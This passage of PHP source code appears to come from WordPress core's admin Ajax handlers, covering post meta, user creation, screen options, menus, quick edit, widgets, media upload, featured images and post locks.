		if ( $post->post_status == 'auto-draft' ) {
			$post_data = array();
			$post_data['action'] = 'draft'; // Warning fix
			$post_data['post_ID'] = $pid;
			$post_data['post_type'] = $post->post_type;
			$post_data['post_status'] = 'draft';
			$now = current_time('timestamp', 1);
			/* translators: 1: Post creation date, 2: Post creation time */
			$post_data['post_title'] = sprintf( __( 'Draft created on %1$s at %2$s' ), date( __( 'F j, Y' ), $now ), date( __( 'g:i a' ), $now ) );

$pid = edit_post( $post_data );
			if ( $pid ) {
				if ( is_wp_error( $pid ) ) {
					$x = new WP_Ajax_Response( array(
						'what' => 'meta',
						'data' => $pid
					) );
					$x->send();
				}

if ( !$mid = add_meta( $pid ) )
					wp_die( __( 'Please provide a custom field value.' ) );
			} else {
				wp_die( 0 );
			}
		} elseif ( ! $mid = add_meta( $pid ) ) {
			wp_die( __( 'Please provide a custom field value.' ) );
		}

$meta = get_metadata_by_mid( 'post', $mid );
		$pid = (int) $meta->post_id;
		$meta = get_object_vars( $meta );
		$x = new WP_Ajax_Response( array(
			'what' => 'meta',
			'id' => $mid,
			'data' => _list_meta_row( $meta, $c ),
			'position' => 1,
			'supplemental' => array('postid' => $pid)
		) );
	} else { // Update?
		$mid = (int) key( $_POST['meta'] );
		$key = wp_unslash( $_POST['meta'][$mid]['key'] );
		$value = wp_unslash( $_POST['meta'][$mid]['value'] );
		if ( '' == trim($key) )
			wp_die( __( 'Please provide a custom field name.' ) );
		if ( ! $meta = get_metadata_by_mid( 'post', $mid ) )
			wp_die( 0 ); // if meta doesn't exist
		if ( is_protected_meta( $meta->meta_key, 'post' ) || is_protected_meta( $key, 'post' ) ||
			! current_user_can( 'edit_post_meta', $meta->post_id, $meta->meta_key ) ||
			! current_user_can( 'edit_post_meta', $meta->post_id, $key ) )
			wp_die( -1 );
		if ( $meta->meta_value != $value || $meta->meta_key != $key ) {
			if ( !$u = update_metadata_by_mid( 'post', $mid, $value, $key ) )
				wp_die( 0 ); // We know meta exists; we also know it's unchanged (or DB error, in which case there are bigger problems).
		}

$x = new WP_Ajax_Response( array(
			'what' => 'meta',
			'id' => $mid, 'old_id' => $mid,
			'data' => _list_meta_row( array(
				'meta_key' => $key,
				'meta_value' => $value,
				'meta_id' => $mid
			), $c ),
			'position' => 0,
			'supplemental' => array('postid' => $meta->post_id)
		) );
	}
	$x->send();
}

/**
 * Ajax handler for adding a user.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_add_user( $action ) {
	if ( empty( $action ) ) {
		$action = 'add-user';
	}

check_ajax_referer( $action );
	if ( ! current_user_can('create_users') )
		wp_die( -1 );
	if ( ! $user_id = edit_user() ) {
		wp_die( 0 );
	} elseif ( is_wp_error( $user_id ) ) {
		$x = new WP_Ajax_Response( array(
			'what' => 'user',
			'id' => $user_id
		) );
		$x->send();
	}
	$user_object = get_userdata( $user_id );

$wp_list_table = _get_list_table('WP_Users_List_Table');

$role = current( $user_object->roles );

$x = new WP_Ajax_Response( array(
		'what' => 'user',
		'id' => $user_id,
		'data' => $wp_list_table->single_row( $user_object, '', $role ),
		'supplemental' => array(
			'show-link' => sprintf(
				/* translators: %s: the new user */
				__( 'User %s added' ),
				'<a href="#user-' . $user_id . '">' . $user_object->user_login . '</a>'
			),
			'role' => $role,
		)
	) );
	$x->send();
}

/**
 * Ajax handler for closed post boxes.
 *
 * @since 3.1.0
 */
function wp_ajax_closed_postboxes() {
	check_ajax_referer( 'closedpostboxes', 'closedpostboxesnonce' );
	$closed = isset( $_POST['closed'] ) ? explode( ',', $_POST['closed']) : array();
	$closed = array_filter($closed);

$hidden = isset( $_POST['hidden'] ) ? explode( ',', $_POST['hidden']) : array();
	$hidden = array_filter($hidden);

$page = isset( $_POST['page'] ) ? $_POST['page'] : '';

if ( $page != sanitize_key( $page ) )
		wp_die( 0 );

if ( ! $user = wp_get_current_user() )
		wp_die( -1 );

if ( is_array($closed) )
		update_user_option($user->ID, "closedpostboxes_$page", $closed, true);

if ( is_array($hidden) ) {
		$hidden = array_diff( $hidden, array('submitdiv', 'linksubmitdiv', 'manage-menu', 'create-menu') ); // postboxes that are always shown
		update_user_option($user->ID, "metaboxhidden_$page", $hidden, true);
	}

wp_die( 1 );
}

/**
 * Ajax handler for hidden columns.
 *
 * @since 3.1.0
 */
function wp_ajax_hidden_columns() {
	check_ajax_referer( 'screen-options-nonce', 'screenoptionnonce' );
	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';

if ( $page != sanitize_key( $page ) )
		wp_die( 0 );

if ( ! $user = wp_get_current_user() )
		wp_die( -1 );

$hidden = ! empty( $_POST['hidden'] ) ? explode( ',', $_POST['hidden'] ) : array();
	update_user_option( $user->ID, "manage{$page}columnshidden", $hidden, true );

wp_die( 1 );
}

/**
 * Ajax handler for updating whether to display the welcome panel.
 *
 * @since 3.1.0
 */
function wp_ajax_update_welcome_panel() {
	check_ajax_referer( 'welcome-panel-nonce', 'welcomepanelnonce' );

if ( ! current_user_can( 'edit_theme_options' ) )
		wp_die( -1 );

update_user_meta( get_current_user_id(), 'show_welcome_panel', empty( $_POST['visible'] ) ? 0 : 1 );

wp_die( 1 );
}

/**
 * Ajax handler for retrieving menu meta boxes.
 *
 * @since 3.1.0
 */
function wp_ajax_menu_get_metabox() {
	if ( ! current_user_can( 'edit_theme_options' ) )
		wp_die( -1 );

require_once ABSPATH . 'wp-admin/includes/nav-menu.php';

if ( isset( $_POST['item-type'] ) && 'post_type' == $_POST['item-type'] ) {
		$type = 'posttype';
		$callback = 'wp_nav_menu_item_post_type_meta_box';
		$items = (array) get_post_types( array( 'show_in_nav_menus' => true ), 'object' );
	} elseif ( isset( $_POST['item-type'] ) && 'taxonomy' == $_POST['item-type'] ) {
		$type = 'taxonomy';
		$callback = 'wp_nav_menu_item_taxonomy_meta_box';
		$items = (array) get_taxonomies( array( 'show_ui' => true ), 'object' );
	}

if ( ! empty( $_POST['item-object'] ) && isset( $items[$_POST['item-object']] ) ) {
		$menus_meta_box_object = $items[ $_POST['item-object'] ];

/** This filter is documented in wp-admin/includes/nav-menu.php */
		$item = apply_filters( 'nav_menu_meta_box_object', $menus_meta_box_object );
		ob_start();
		call_user_func_array($callback, array(
			null,
			array(
				'id' => 'add-' . $item->name,
				'title' => $item->labels->name,
				'callback' => $callback,
				'args' => $item,
			)
		));

$markup = ob_get_clean();

echo wp_json_encode(array(
			'replace-id' => $type . '-' . $item->name,
			'markup' => $markup,
		));
	}

wp_die();
}

/**
 * Ajax handler for internal linking.
 *
 * @since 3.1.0
 */
function wp_ajax_wp_link_ajax() {
	check_ajax_referer( 'internal-linking', '_ajax_linking_nonce' );

$args = array();

if ( isset( $_POST['search'] ) ) {
		$args['s'] = wp_unslash( $_POST['search'] );
	}

if ( isset( $_POST['term'] ) ) {
		$args['s'] = wp_unslash( $_POST['term'] );
	}

$args['pagenum'] = ! empty( $_POST['page'] ) ? absint( $_POST['page'] ) : 1;

if ( ! class_exists( '_WP_Editors', false ) ) {
		require( ABSPATH . WPINC . '/class-wp-editor.php' );
	}

$results = _WP_Editors::wp_link_query( $args );

if ( ! isset( $results ) )
		wp_die( 0 );

echo wp_json_encode( $results );
	echo "\n";

wp_die();
}

/**
 * Ajax handler for menu locations save.
 *
 * @since 3.1.0
 */
function wp_ajax_menu_locations_save() {
	if ( ! current_user_can( 'edit_theme_options' ) )
		wp_die( -1 );
	check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' );
	if ( ! isset( $_POST['menu-locations'] ) )
		wp_die( 0 );
	set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_POST['menu-locations'] ) );
	wp_die( 1 );
}

/**
 * Ajax handler for saving the meta box order.
 *
 * @since 3.1.0
 */
function wp_ajax_meta_box_order() {
	check_ajax_referer( 'meta-box-order' );
	$order = isset( $_POST['order'] ) ? (array) $_POST['order'] : false;
	$page_columns = isset( $_POST['page_columns'] ) ? $_POST['page_columns'] : 'auto';

if ( $page_columns != 'auto' )
		$page_columns = (int) $page_columns;

$page = isset( $_POST['page'] ) ? $_POST['page'] : '';

if ( $page != sanitize_key( $page ) )
		wp_die( 0 );

if ( ! $user = wp_get_current_user() )
		wp_die( -1 );

if ( $order )
		update_user_option($user->ID, "meta-box-order_$page", $order, true);

if ( $page_columns )
		update_user_option($user->ID, "screen_layout_$page", $page_columns, true);

wp_die( 1 );
}

/**
 * Ajax handler for menu quick searching.
 *
 * @since 3.1.0
 */
function wp_ajax_menu_quick_search() {
	if ( ! current_user_can( 'edit_theme_options' ) )
		wp_die( -1 );

require_once ABSPATH . 'wp-admin/includes/nav-menu.php';

_wp_ajax_menu_quick_search( $_POST );

wp_die();
}

/**
 * Ajax handler to retrieve a permalink.
 *
 * @since 3.1.0
 */
function wp_ajax_get_permalink() {
	check_ajax_referer( 'getpermalink', 'getpermalinknonce' );
	$post_id = isset($_POST['post_id'])? intval($_POST['post_id']) : 0;
	wp_die( get_preview_post_link( $post_id ) );
}

/**
 * Ajax handler to retrieve a sample permalink.
 *
 * @since 3.1.0
 */
function wp_ajax_sample_permalink() {
	check_ajax_referer( 'samplepermalink', 'samplepermalinknonce' );
	$post_id = isset($_POST['post_id'])? intval($_POST['post_id']) : 0;
	$title = isset($_POST['new_title'])? $_POST['new_title'] : '';
	$slug = isset($_POST['new_slug'])? $_POST['new_slug'] : null;
	wp_die( get_sample_permalink_html( $post_id, $title, $slug ) );
}

/**
 * Ajax handler for Quick Edit saving a post from a list table.
 *
 * @since 3.1.0
 *
 * @global string $mode List table view mode.
 */
function wp_ajax_inline_save() {
	global $mode;

check_ajax_referer( 'inlineeditnonce', '_inline_edit' );

if ( ! isset($_POST['post_ID']) || ! ( $post_ID = (int) $_POST['post_ID'] ) )
		wp_die();

if ( 'page' == $_POST['post_type'] ) {
		if ( ! current_user_can( 'edit_page', $post_ID ) )
			wp_die( __( 'Sorry, you are not allowed to edit this page.' ) );
	} else {
		if ( ! current_user_can( 'edit_post', $post_ID ) )
			wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
	}

if ( $last = wp_check_post_lock( $post_ID ) ) {
		$last_user = get_userdata( $last );
		$last_user_name = $last_user ? $last_user->display_name : __( 'Someone' );
		printf( $_POST['post_type'] == 'page' ? __( 'Saving is disabled: %s is currently editing this page.' ) : __( 'Saving is disabled: %s is currently editing this post.' ),	esc_html( $last_user_name ) );
		wp_die();
	}

$data = &$_POST;

$post = get_post( $post_ID, ARRAY_A );

// Since it's coming from the database.
	$post = wp_slash($post);

$data['content'] = $post['post_content'];
	$data['excerpt'] = $post['post_excerpt'];

// Rename.
	$data['user_ID'] = get_current_user_id();

if ( isset($data['post_parent']) )
		$data['parent_id'] = $data['post_parent'];

// Status.
	if ( isset( $data['keep_private'] ) && 'private' == $data['keep_private'] ) {
		$data['visibility']  = 'private';
		$data['post_status'] = 'private';
	} else {
		$data['post_status'] = $data['_status'];
	}

if ( empty($data['comment_status']) )
		$data['comment_status'] = 'closed';
	if ( empty($data['ping_status']) )
		$data['ping_status'] = 'closed';

// Exclude terms from taxonomies that are not supposed to appear in Quick Edit.
	if ( ! empty( $data['tax_input'] ) ) {
		foreach ( $data['tax_input'] as $taxonomy => $terms ) {
			$tax_object = get_taxonomy( $taxonomy );
			/** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
			if ( ! apply_filters( 'quick_edit_show_taxonomy', $tax_object->show_in_quick_edit, $taxonomy, $post['post_type'] ) ) {
				unset( $data['tax_input'][ $taxonomy ] );
			}
		}
	}

// Hack: wp_unique_post_slug() doesn't work for drafts, so we will fake that our post is published.
	if ( ! empty( $data['post_name'] ) && in_array( $post['post_status'], array( 'draft', 'pending' ) ) ) {
		$post['post_status'] = 'publish';
		$data['post_name'] = wp_unique_post_slug( $data['post_name'], $post['ID'], $post['post_status'], $post['post_type'], $post['post_parent'] );
	}

// Update the post.
	edit_post();

$wp_list_table = _get_list_table( 'WP_Posts_List_Table', array( 'screen' => $_POST['screen'] ) );

$mode = $_POST['post_view'] === 'excerpt' ? 'excerpt' : 'list';

$level = 0;
	if ( is_post_type_hierarchical( $wp_list_table->screen->post_type ) ) {
		$request_post = array( get_post( $_POST['post_ID'] ) );
		$parent       = $request_post[0]->post_parent;

while ( $parent > 0 ) {
			$parent_post = get_post( $parent );
			$parent      = $parent_post->post_parent;
			$level++;
		}
	}

$wp_list_table->display_rows( array( get_post( $_POST['post_ID'] ) ), $level );

wp_die();
}

/**
 * Ajax handler for quick edit saving for a term.
 *
 * @since 3.1.0
 */
function wp_ajax_inline_save_tax() {
	check_ajax_referer( 'taxinlineeditnonce', '_inline_edit' );

$taxonomy = sanitize_key( $_POST['taxonomy'] );
	$tax = get_taxonomy( $taxonomy );
	if ( ! $tax )
		wp_die( 0 );

if ( ! isset( $_POST['tax_ID'] ) || ! ( $id = (int) $_POST['tax_ID'] ) ) {
		wp_die( -1 );
	}

if ( ! current_user_can( 'edit_term', $id ) ) {
		wp_die( -1 );
	}

$wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => 'edit-' . $taxonomy ) );

$tag = get_term( $id, $taxonomy );
	$_POST['description'] = $tag->description;

$updated = wp_update_term($id, $taxonomy, $_POST);
	if ( $updated && !is_wp_error($updated) ) {
		$tag = get_term( $updated['term_id'], $taxonomy );
		if ( !$tag || is_wp_error( $tag ) ) {
			if ( is_wp_error($tag) && $tag->get_error_message() )
				wp_die( $tag->get_error_message() );
			wp_die( __( 'Item not updated.' ) );
		}
	} else {
		if ( is_wp_error($updated) && $updated->get_error_message() )
			wp_die( $updated->get_error_message() );
		wp_die( __( 'Item not updated.' ) );
	}
	$level = 0;
	$parent = $tag->parent;
	while ( $parent > 0 ) {
		$parent_tag = get_term( $parent, $taxonomy );
		$parent = $parent_tag->parent;
		$level++;
	}
	$wp_list_table->single_row( $tag, $level );
	wp_die();
}

/**
 * Ajax handler for querying posts for the Find Posts modal.
 *
 * @see window.findPosts
 *
 * @since 3.1.0
 */
function wp_ajax_find_posts() {
	check_ajax_referer( 'find-posts' );

$post_types = get_post_types( array( 'public' => true ), 'objects' );
	unset( $post_types['attachment'] );

$s = wp_unslash( $_POST['ps'] );
	$args = array(
		'post_type' => array_keys( $post_types ),
		'post_status' => 'any',
		'posts_per_page' => 50,
	);
	if ( '' !== $s )
		$args['s'] = $s;

$posts = get_posts( $args );

if ( ! $posts ) {
		wp_send_json_error( __( 'No items found.' ) );
	}

$html = '<table class="widefat"><thead><tr><th class="found-radio"><br /></th><th>'.__('Title').'</th><th class="no-break">'.__('Type').'</th><th class="no-break">'.__('Date').'</th><th class="no-break">'.__('Status').'</th></tr></thead><tbody>';
	$alt = '';
	foreach ( $posts as $post ) {
		$title = trim( $post->post_title ) ? $post->post_title : __( '(no title)' );
		$alt = ( 'alternate' == $alt ) ? '' : 'alternate';

switch ( $post->post_status ) {
			case 'publish' :
			case 'private' :
				$stat = __('Published');
				break;
			case 'future' :
				$stat = __('Scheduled');
				break;
			case 'pending' :
				$stat = __('Pending Review');
				break;
			case 'draft' :
				$stat = __('Draft');
				break;
		}

if ( '0000-00-00 00:00:00' == $post->post_date ) {
			$time = '';
		} else {
			/* translators: date format in table columns, see https://secure.php.net/date */
			$time = mysql2date(__('Y/m/d'), $post->post_date);
		}

$html .= '<tr class="' . trim( 'found-posts ' . $alt ) . '"><td class="found-radio"><input type="radio" id="found-'.$post->ID.'" name="found_post_id" value="' . esc_attr($post->ID) . '"></td>';
		$html .= '<td><label for="found-'.$post->ID.'">' . esc_html( $title ) . '</label></td><td class="no-break">' . esc_html( $post_types[$post->post_type]->labels->singular_name ) . '</td><td class="no-break">'.esc_html( $time ) . '</td><td class="no-break">' . esc_html( $stat ). ' </td></tr>' . "\n\n";
	}

$html .= '</tbody></table>';

wp_send_json_success( $html );
}

/**
 * Ajax handler for saving the widgets order.
 *
 * @since 3.1.0
 */
function wp_ajax_widgets_order() {
	check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );

if ( !current_user_can('edit_theme_options') )
		wp_die( -1 );

unset( $_POST['savewidgets'], $_POST['action'] );

// Save widgets order for all sidebars.
	if ( is_array($_POST['sidebars']) ) {
		$sidebars = array();
		foreach ( wp_unslash( $_POST['sidebars'] ) as $key => $val ) {
			$sb = array();
			if ( !empty($val) ) {
				$val = explode(',', $val);
				foreach ( $val as $k => $v ) {
					if ( strpos($v, 'widget-') === false )
						continue;

$sb[$k] = substr($v, strpos($v, '_') + 1);
				}
			}
			$sidebars[$key] = $sb;
		}
		wp_set_sidebars_widgets($sidebars);
		wp_die( 1 );
	}

wp_die( -1 );
}

/**
 * Ajax handler for saving a widget.
 *
 * @since 3.1.0
 *
 * @global array $wp_registered_widgets
 * @global array $wp_registered_widget_controls
 * @global array $wp_registered_widget_updates
 */
function wp_ajax_save_widget() {
	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates;

check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );

if ( !current_user_can('edit_theme_options') || !isset($_POST['id_base']) )
		wp_die( -1 );

unset( $_POST['savewidgets'], $_POST['action'] );

/**
	 * Fires early when editing the widgets displayed in sidebars.
	 *
	 * @since 2.8.0
	 */
	do_action( 'load-widgets.php' );

/**
	 * Fires early when editing the widgets displayed in sidebars.
	 *
	 * @since 2.8.0
	 */
	do_action( 'widgets.php' );

/** This action is documented in wp-admin/widgets.php */
	do_action( 'sidebar_admin_setup' );

$id_base = wp_unslash( $_POST['id_base'] );
	$widget_id = wp_unslash( $_POST['widget-id'] );
	$sidebar_id = $_POST['sidebar'];
	$multi_number = !empty($_POST['multi_number']) ? (int) $_POST['multi_number'] : 0;
	$settings = isset($_POST['widget-' . $id_base]) && is_array($_POST['widget-' . $id_base]) ? $_POST['widget-' . $id_base] : false;
	$error = '<p>' . __('An error has occurred. Please reload the page and try again.') . '</p>';

$sidebars = wp_get_sidebars_widgets();
	$sidebar = isset($sidebars[$sidebar_id]) ? $sidebars[$sidebar_id] : array();

// Delete.
	if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) {

if ( !isset($wp_registered_widgets[$widget_id]) )
			wp_die( $error );

$sidebar = array_diff( $sidebar, array($widget_id) );
		$_POST = array('sidebar' => $sidebar_id, 'widget-' . $id_base => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1');

/** This action is documented in wp-admin/widgets.php */
		do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base );

} elseif ( $settings && preg_match( '/__i__|%i%/', key($settings) ) ) {
		if ( !$multi_number )
			wp_die( $error );

$_POST[ 'widget-' . $id_base ] = array( $multi_number => reset( $settings ) );
		$widget_id = $id_base . '-' . $multi_number;
		$sidebar[] = $widget_id;
	}
	$_POST['widget-id'] = $sidebar;

foreach ( (array) $wp_registered_widget_updates as $name => $control ) {

if ( $name == $id_base ) {
			if ( !is_callable( $control['callback'] ) )
				continue;

ob_start();
				call_user_func_array( $control['callback'], $control['params'] );
			ob_end_clean();
			break;
		}
	}

if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) {
		$sidebars[$sidebar_id] = $sidebar;
		wp_set_sidebars_widgets($sidebars);
		echo "deleted:$widget_id";
		wp_die();
	}

if ( !empty($_POST['add_new']) )
		wp_die();

if ( $form = $wp_registered_widget_controls[$widget_id] )
		call_user_func_array( $form['callback'], $form['params'] );

wp_die();
}

/**
 * Ajax handler for saving a widget.
 *
 * @since 3.9.0
 *
 * @global WP_Customize_Manager $wp_customize
 */
function wp_ajax_update_widget() {
	global $wp_customize;
	$wp_customize->widgets->wp_ajax_update_widget();
}

/**
 * Ajax handler for removing inactive widgets.
 *
 * @since 4.4.0
 */
function wp_ajax_delete_inactive_widgets() {
	check_ajax_referer( 'remove-inactive-widgets', 'removeinactivewidgets' );

if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

unset( $_POST['removeinactivewidgets'], $_POST['action'] );
	/** This action is documented in wp-admin/includes/ajax-actions.php */
	do_action( 'load-widgets.php' );
	/** This action is documented in wp-admin/includes/ajax-actions.php */
	do_action( 'widgets.php' );
	/** This action is documented in wp-admin/widgets.php */
	do_action( 'sidebar_admin_setup' );

$sidebars_widgets = wp_get_sidebars_widgets();

foreach ( $sidebars_widgets['wp_inactive_widgets'] as $key => $widget_id ) {
		$pieces = explode( '-', $widget_id );
		$multi_number = array_pop( $pieces );
		$id_base = implode( '-', $pieces );
		$widget = get_option( 'widget_' . $id_base );
		unset( $widget[$multi_number] );
		update_option( 'widget_' . $id_base, $widget );
		unset( $sidebars_widgets['wp_inactive_widgets'][$key] );
	}

wp_set_sidebars_widgets( $sidebars_widgets );

wp_die();
}

/**
 * Ajax handler for uploading attachments
 *
 * @since 3.3.0
 */
function wp_ajax_upload_attachment() {
	check_ajax_referer( 'media-form' );
	/*
	 * This function does not use wp_send_json_success() / wp_send_json_error()
	 * as the html4 Plupload handler requires a text/html content-type for older IE.
	 * See https://core.trac.wordpress.org/ticket/31037
	 */

if ( ! current_user_can( 'upload_files' ) ) {
		echo wp_json_encode( array(
			'success' => false,
			'data'    => array(
				'message'  => __( 'Sorry, you are not allowed to upload files.' ),
				'filename' => esc_html( $_FILES['async-upload']['name'] ),
			)
		) );

wp_die();
	}

if ( isset( $_REQUEST['post_id'] ) ) {
		$post_id = $_REQUEST['post_id'];
		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			echo wp_json_encode( array(
				'success' => false,
				'data'    => array(
					'message'  => __( 'Sorry, you are not allowed to attach files to this post.' ),
					'filename' => esc_html( $_FILES['async-upload']['name'] ),
				)
			) );

wp_die();
		}
	} else {
		$post_id = null;
	}

$post_data = ! empty( $_REQUEST['post_data'] ) ? _wp_get_allowed_postdata( _wp_translate_postdata( false, (array) $_REQUEST['post_data'] ) ) : array();

if ( is_wp_error( $post_data ) ) {
		wp_die( $post_data->get_error_message() );
	}

// If the context is custom header or background, make sure the uploaded file is an image.
	if ( isset( $post_data['context'] ) && in_array( $post_data['context'], array( 'custom-header', 'custom-background' ) ) ) {
		$wp_filetype = wp_check_filetype_and_ext( $_FILES['async-upload']['tmp_name'], $_FILES['async-upload']['name'] );
		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) {
			echo wp_json_encode( array(
				'success' => false,
				'data'    => array(
					'message'  => __( 'The uploaded file is not a valid image. Please try again.' ),
					'filename' => esc_html( $_FILES['async-upload']['name'] ),
				)
			) );

wp_die();
		}
	}

$attachment_id = media_handle_upload( 'async-upload', $post_id, $post_data );

if ( is_wp_error( $attachment_id ) ) {
		echo wp_json_encode( array(
			'success' => false,
			'data'    => array(
				'message'  => $attachment_id->get_error_message(),
				'filename' => esc_html( $_FILES['async-upload']['name'] ),
			)
		) );

wp_die();
	}

if ( isset( $post_data['context'] ) && isset( $post_data['theme'] ) ) {
		if ( 'custom-background' === $post_data['context'] )
			update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', $post_data['theme'] );

if ( 'custom-header' === $post_data['context'] )
			update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', $post_data['theme'] );
	}

if ( ! $attachment = wp_prepare_attachment_for_js( $attachment_id ) )
		wp_die();

echo wp_json_encode( array(
		'success' => true,
		'data'    => $attachment,
	) );

wp_die();
}

/**
 * Ajax handler for image editing.
 *
 * @since 3.1.0
 */
function wp_ajax_image_editor() {
	$attachment_id = intval($_POST['postid']);
	if ( empty($attachment_id) || !current_user_can('edit_post', $attachment_id) )
		wp_die( -1 );

check_ajax_referer( "image_editor-$attachment_id" );
	include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );

$msg = false;
	switch ( $_POST['do'] ) {
		case 'save' :
			$msg = wp_save_image($attachment_id);
			$msg = wp_json_encode($msg);
			wp_die( $msg );
			break;
		case 'scale' :
			$msg = wp_save_image($attachment_id);
			break;
		case 'restore' :
			$msg = wp_restore_image($attachment_id);
			break;
	}

wp_image_editor($attachment_id, $msg);
	wp_die();
}

/**
 * Ajax handler for setting the featured image.
 *
 * @since 3.1.0
 */
function wp_ajax_set_post_thumbnail() {
	$json = ! empty( $_REQUEST['json'] ); // New-style request

$post_ID = intval( $_POST['post_id'] );
	if ( ! current_user_can( 'edit_post', $post_ID ) )
		wp_die( -1 );

$thumbnail_id = intval( $_POST['thumbnail_id'] );

if ( $json )
		check_ajax_referer( "update-post_$post_ID" );
	else
		check_ajax_referer( "set_post_thumbnail-$post_ID" );

if ( $thumbnail_id == '-1' ) {
		if ( delete_post_thumbnail( $post_ID ) ) {
			$return = _wp_post_thumbnail_html( null, $post_ID );
			$json ? wp_send_json_success( $return ) : wp_die( $return );
		} else {
			wp_die( 0 );
		}
	}

if ( set_post_thumbnail( $post_ID, $thumbnail_id ) ) {
		$return = _wp_post_thumbnail_html( $thumbnail_id, $post_ID );
		$json ? wp_send_json_success( $return ) : wp_die( $return );
	}

wp_die( 0 );
}

/**
 * Ajax handler for retrieving HTML for the featured image.
 *
 * @since 4.6.0
 */
function wp_ajax_get_post_thumbnail_html() {
	$post_ID = intval( $_POST['post_id'] );

check_ajax_referer( "update-post_$post_ID" );

if ( ! current_user_can( 'edit_post', $post_ID ) ) {
		wp_die( -1 );
	}

$thumbnail_id = intval( $_POST['thumbnail_id'] );

// For backward compatibility, -1 refers to no featured image.
	if ( -1 === $thumbnail_id ) {
		$thumbnail_id = null;
	}

$return = _wp_post_thumbnail_html( $thumbnail_id, $post_ID );
	wp_send_json_success( $return );
}

/**
 * Ajax handler for setting the featured image for an attachment.
 *
 * @since 4.0.0
 *
 * @see set_post_thumbnail()
 */
function wp_ajax_set_attachment_thumbnail() {
	if ( empty( $_POST['urls'] ) || ! is_array( $_POST['urls'] ) ) {
		wp_send_json_error();
	}

$thumbnail_id = (int) $_POST['thumbnail_id'];
	if ( empty( $thumbnail_id ) ) {
		wp_send_json_error();
	}

$post_ids = array();
	// For each URL, try to find its corresponding post ID.
	foreach ( $_POST['urls'] as $url ) {
		$post_id = attachment_url_to_postid( $url );
		if ( ! empty( $post_id ) ) {
			$post_ids[] = $post_id;
		}
	}

if ( empty( $post_ids ) ) {
		wp_send_json_error();
	}

$success = 0;
	// For each found attachment, set its thumbnail.
	foreach ( $post_ids as $post_id ) {
		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			continue;
		}

if ( set_post_thumbnail( $post_id, $thumbnail_id ) ) {
			$success++;
		}
	}

if ( 0 === $success ) {
		wp_send_json_error();
	} else {
		wp_send_json_success();
	}

wp_send_json_error();
}

/**
 * Ajax handler for date formatting.
 *
 * @since 3.1.0
 */
function wp_ajax_date_format() {
	wp_die( date_i18n( sanitize_option( 'date_format', wp_unslash( $_POST['date'] ) ) ) );
}

/**
 * Ajax handler for time formatting.
 *
 * @since 3.1.0
 */
function wp_ajax_time_format() {
	wp_die( date_i18n( sanitize_option( 'time_format', wp_unslash( $_POST['date'] ) ) ) );
}

/**
 * Ajax handler for saving posts from the fullscreen editor.
 *
 * @since 3.1.0
 * @deprecated 4.3.0
 */
function wp_ajax_wp_fullscreen_save_post() {
	$post_id = isset( $_POST['post_ID'] ) ? (int) $_POST['post_ID'] : 0;

$post = null;

if ( $post_id )
		$post = get_post( $post_id );

check_ajax_referer('update-post_' . $post_id, '_wpnonce');

$post_id = edit_post();

if ( is_wp_error( $post_id ) ) {
		wp_send_json_error();
	}

if ( $post ) {
		$last_date = mysql2date( __( 'F j, Y' ), $post->post_modified );
		$last_time = mysql2date( __( 'g:i a' ), $post->post_modified );
	} else {
		$last_date = date_i18n( __( 'F j, Y' ) );
		$last_time = date_i18n( __( 'g:i a' ) );
	}

if ( $last_id = get_post_meta( $post_id, '_edit_last', true ) ) {
		$last_user = get_userdata( $last_id );
		$last_edited = sprintf( __('Last edited by %1$s on %2$s at %3$s'), esc_html( $last_user->display_name ), $last_date, $last_time );
	} else {
		$last_edited = sprintf( __('Last edited on %1$s at %2$s'), $last_date, $last_time );
	}

wp_send_json_success( array( 'last_edited' => $last_edited ) );
}

/**
 * Ajax handler for removing a post lock.
 *
 * @since 3.1.0
 */
function wp_ajax_wp_remove_post_lock() {
	if ( empty( $_POST['post_ID'] ) || empty( $_POST['active_post_lock'] ) )
		wp_die( 0 );
	$post_id = (int) $_POST['post_ID'];
	if ( ! $post = get_post( $post_id ) )
		wp_die( 0 );

check_ajax_referer( 'update-post_' . $post_id );

if ( ! current_user_can( 'edit_post', $post_id ) )
		wp_die( -1 );

$active_lock = array_map( 'absint', explode( ':', $_POST['active_post_lock'] ) );
	if ( $active_lock[1] != get_current_user_id() )
		wp_die( 0 );

/**
	 * Filters the post lock window duration.
	 *
	 * @since 3.3.0
	 *
	 * @param int $interval The interval in seconds the post lock duration
	 *                      should last, plus 5 seconds. Default 150.
	 */
	$new_lock = ( time() - apply_filters( 'wp_check_post_lock_window', 150 ) + 5 ) . ':' . $active_lock[1];
	update_post_meta( $post_id, '_edit_lock', $new_lock, implode( ':', $active_lock ) );
	wp_die( 1 );
}

/**
 * Ajax handler for dismissing a WordPress pointer.
 *
 * @since 3.1.0
 */
function wp_ajax_dismiss_wp_pointer() {
	$pointer = $_POST['pointer'];
	if ( $pointer != sanitize_key( $pointer ) )
		wp_die( 0 );

//	check_ajax_referer( 'dismiss-pointer_' . $pointer );

$dismissed = array_filter( explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) ) );

if ( in_array( $pointer, $dismissed ) )
		wp_die( 0 );

$dismissed[] = $pointer;
	$dismissed = implode( ',', $dismissed );

update_user_meta( get_current_user_id(), 'dismissed_wp_pointers', $dismissed );
	wp_die( 1 );
}

/**
 * Ajax handler for getting an attachment.
 *
 * @since 3.5.0
 */
function wp_ajax_get_attachment() {
	if ( ! isset( $_REQUEST['id'] ) )
		wp_send_json_error();

